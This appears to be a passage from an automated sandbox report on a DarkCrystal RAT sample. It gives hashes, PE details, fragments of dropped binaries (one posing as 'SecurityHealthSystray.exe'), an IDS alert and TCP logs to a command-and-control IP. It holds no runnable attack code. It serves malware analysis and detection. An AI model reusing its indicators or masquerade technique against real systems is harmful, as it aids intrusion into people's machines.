Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Windows\System32\CSCF36723D4EAA14E7A90D51663AB383B81.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	1224
Entropy (8bit):	4.435108676655666
Encrypted:	false
SSDEEP:	24:OBxOysuZhN7jSjRzPNnqNdt4+lEbNFjMyi07:COulajfqTSfbNtme
MD5:	931E1E72E561761F8A74F57989D1EA0A
SHA1:	B66268B9D02EC855EB91A5018C43049B4458AB16
SHA-256:	093A39E3AB8A9732806E0DA9133B14BF5C5B9C7403C3169ABDAD7CECFF341A53
SHA-512:	1D05A9BB5FA990F83BE88361D0CAC286AC8B1A2A010DB2D3C5812FB507663F7C09AE4CADE772502011883A549F5B4E18B20ACF3FE5462901B40ABCC248C98770
Malicious:	false
Preview:	.... ...........................\|...<...............0...........\|.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...T.....I.n.t.e.r.n.a.l.N.a.m.e...S.e.c.u.r.i.t.y.H.e.a.l.t.h.S.y.s.t.r.a.y...e.x.e...(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...\.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...S.e.c.u.r.i.t.y.H.e.a.l.t.h.S.y.s.t.r.a.y...e.x.e...4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0....................................<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">.. <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>.. <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">.. <securi

C:\Windows\System32\SecurityHealthSystray.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	5120
Entropy (8bit):	3.701359809246713
Encrypted:	false
SSDEEP:	48:6vjanPtM+M7Jt8Bs3FJsdcV4MKe27sqd7apFvqBH6OulajfqXSfbNtm:q6PcPc+Vx9MsEapFvkkcjRzNt
MD5:	18A3A9191774BDE8120F7E668578A2CE
SHA1:	F4502BE3EACB59DA3E525A7442A1E243EB4D577A
SHA-256:	8A3FEA857FEC2E2C23E0099902073055CE9E8D0A81DCF7F3B153112B3973D97C
SHA-512:	BBA05459DBA1E6537E21A5BB6355BC3C1B174B77D164E49B7268616E56AC4267851936823DA47BF6C28FE5448190C2C6DAB9826035E949BB4F02953ADFD8DAAF
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....wg.............................'... ...@....@.. ....................................@..................................'..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......(!................................................................(.....0..!.......r...pre..p.{....(....(....&..&......................0..........ri..p(....&..&......................0..K.......s.......}...........s....s....(....~....-........s.........~....s....(......(....*.BSJB............v4.0.30319......l.......#~..@.......#Strings....4...$...#US.X.......#GUID...h... ...#Blob...........WU........%3................................................................

\Device\Null

Download File

Process:	C:\Windows\System32\w32tm.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	151
Entropy (8bit):	4.839830058610127
Encrypted:	false
SSDEEP:	3:VLV993J+miJWEoJ8FXrX9QvlfI/I0XXKvps10LAX6vj:Vx993DEUQtA4Rr10u8
MD5:	765664860F28D8EFD20C53520D499A52
SHA1:	8AFDB260A5B383F5F2EB21DB0E7BF56442CBD331
SHA-256:	48CAA04E3D553292E6E80C3404CDA688248F8ABF20501C7B9BB7509EA2CC494C
SHA-512:	5EB0CB66A23A2F44882EF2ECDBA9B136EFB12D0938900B25730AF071918A34DCAFD5948D4DC057378DF948822F20C7E772FC8AC01B8FA9CA1A6A95585B1DAEDE
Malicious:	false
Preview:	Tracking localhost [[::1]:123]..Collecting 2 samples..The current time is 03/01/2025 07:45:58..07:45:58, error: 0x80072746.07:46:03, error: 0x80072746.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.536399913436409
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	Gg6wivFINd.exe
File size:	1'921'536 bytes
MD5:	f59df4574b5c3bb1f563a585b031dc2b
SHA1:	74005bad7458957b59505c4ca1eaf5464dc5fedf
SHA256:	df0755b9d78d1e923a225189604215fdb48793f363691e7a7ed2126b481e94d1
SHA512:	fe0b511c5f77e4859a58dfa71798ddaaf0260b44d7c9c51730ca0b16bde6bcf8447183739bae1d20530fd9b5d0e80c88cd665bf0325635098bacb2790e81cb45
SSDEEP:	24576:phNuHmfG8hHHXznroUlO2JYm4hTUWfm4yw+fbEkb0JS6pnmJ3F1KKDirtJYKWdLI:pqGfG8VznrnlruwWfvaE/J5mJOtzSL
TLSH:	4195AE1666964E73C370573185A7423E82D0D7726613EF0B3A1F2592AC8BBF58B721B3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...S.rg.................J...........h... ........@.. ....................................@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x5d681e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6772CF53 [Mon Dec 30 16:50:27 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1d67d0	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1d8000	0x320	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1da000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x1d4824	0x1d4a00	7389484826b5703acfe15cf1d3cb0507	False	0.7778438833688984	data	7.539854111924912	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x1d8000	0x320	0x400	fefc90889af2a301686a704f2c7112cd	False	0.3525390625	data	2.651038093332615	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x1da000	0xc	0x200	5e4231b3aa8b78ee4257d46ab3853a66	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x1d8058	0x2c8	data			0.46207865168539325

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-03T11:47:10.548635+0100	2048095	ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)	1	192.168.2.4	49730	188.114.96.3	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 3, 2025 11:47:09.989660025 CET	49730	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:09.994460106 CET	80	49730	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:09.994533062 CET	49730	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:09.995050907 CET	49730	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:09.999860048 CET	80	49730	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:10.347191095 CET	49730	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:10.352016926 CET	80	49730	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:10.466262102 CET	80	49730	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:10.548635006 CET	49730	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:10.743771076 CET	80	49730	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:10.743783951 CET	80	49730	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:10.744055986 CET	49730	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:10.832937002 CET	49730	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:10.837709904 CET	80	49730	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:10.932276011 CET	80	49730	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:10.932837963 CET	49730	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:10.937697887 CET	80	49730	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:11.195446014 CET	80	49730	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:11.255546093 CET	49730	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:12.571547985 CET	49733	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:12.576428890 CET	80	49733	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:12.576571941 CET	49733	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:12.576687098 CET	49733	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:12.581475973 CET	80	49733	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:12.587549925 CET	49730	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:12.592560053 CET	80	49730	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:12.592952013 CET	49730	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:12.659545898 CET	49734	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:12.664313078 CET	80	49734	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:12.664541960 CET	49734	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:12.664693117 CET	49734	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:12.669477940 CET	80	49734	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:12.767546892 CET	49734	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:12.768095016 CET	49733	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:12.815433025 CET	80	49733	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:12.815444946 CET	80	49734	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:12.905108929 CET	49735	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:12.910188913 CET	80	49735	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:12.911689043 CET	49735	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:12.911817074 CET	49735	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:12.916577101 CET	80	49735	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:12.931575060 CET	80	49733	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:12.931735039 CET	49733	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:13.019414902 CET	80	49734	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:13.019509077 CET	49734	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:13.269720078 CET	49735	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:13.274596930 CET	80	49735	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:13.364296913 CET	80	49735	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:13.443547964 CET	49735	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:13.627306938 CET	80	49735	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:13.752557039 CET	49735	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:14.408086061 CET	49735	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:14.413378000 CET	80	49735	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:14.413431883 CET	49735	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:14.443413973 CET	49736	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:14.448302031 CET	80	49736	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:14.448373079 CET	49736	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:14.448689938 CET	49736	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:14.453470945 CET	80	49736	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:14.799511909 CET	49736	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:14.804429054 CET	80	49736	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:14.908684015 CET	80	49736	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:15.100584984 CET	49736	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:15.160650015 CET	80	49736	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:15.205671072 CET	49736	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:15.287184954 CET	49736	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:15.288109064 CET	49739	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:15.292234898 CET	80	49736	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:15.292280912 CET	49736	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:15.292901039 CET	80	49739	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:15.292960882 CET	49739	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:15.293068886 CET	49739	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:15.297831059 CET	80	49739	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:15.643551111 CET	49739	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:15.648386955 CET	80	49739	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:15.756789923 CET	80	49739	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:15.908819914 CET	49739	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:16.018631935 CET	80	49739	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:16.097707033 CET	49739	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:16.181612015 CET	49739	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:16.182521105 CET	49742	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:16.186645985 CET	80	49739	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:16.186920881 CET	49739	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:16.187268972 CET	80	49742	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:16.187434912 CET	49742	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:16.187498093 CET	49742	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:16.192281961 CET	80	49742	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:16.564975023 CET	49742	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:16.572025061 CET	80	49742	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:16.640714884 CET	80	49742	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:16.799441099 CET	49742	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:16.915256023 CET	80	49742	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:17.096306086 CET	49742	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:17.546045065 CET	49745	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:17.558566093 CET	80	49745	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:17.558667898 CET	49745	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:17.558921099 CET	49745	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:17.570518017 CET	80	49745	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:17.751530886 CET	49742	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:17.912229061 CET	49745	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:17.924079895 CET	80	49745	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.011450052 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.012811899 CET	80	49745	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.013051033 CET	49748	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.022608995 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.022664070 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.023005009 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.029021978 CET	80	49748	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.029093027 CET	49748	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.032859087 CET	49748	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.034037113 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.044243097 CET	80	49748	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.091409922 CET	49745	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.103215933 CET	80	49745	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.103269100 CET	49745	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.378140926 CET	49748	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.378429890 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.389738083 CET	80	49748	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.390324116 CET	80	49748	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.390332937 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.390347004 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.390355110 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.390377045 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.390399933 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.396023035 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.396030903 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.396090031 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.396646976 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.396656036 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.396703959 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.402591944 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.402640104 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.402658939 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.402822971 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.403310061 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.403362036 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.403362036 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.403373003 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.403415918 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.408982992 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.408991098 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.409034967 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.409637928 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.409671068 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.409699917 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.409714937 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.415241957 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.415306091 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.416014910 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.416080952 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.421504974 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.421688080 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.422296047 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.422350883 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.427915096 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.428023100 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.428908110 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.429075003 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.434351921 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.434465885 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.434493065 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.434571028 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.435266018 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.435340881 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.440690994 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.440711021 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.440745115 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.440782070 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.441749096 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.441786051 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.441801071 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.441836119 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.447062016 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.447129965 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.447201967 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.447244883 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.447390079 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.447429895 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.447489977 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.447537899 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.448194027 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.448203087 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.448210955 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.448219061 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.448241949 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.448259115 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.453548908 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.453557014 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.453612089 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.453627110 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.453635931 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.453670025 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.453689098 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.453696966 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.453736067 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.453746080 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.453758001 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.453768015 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.453809023 CET	49747	80	192.168.2.4	188.114.96.3
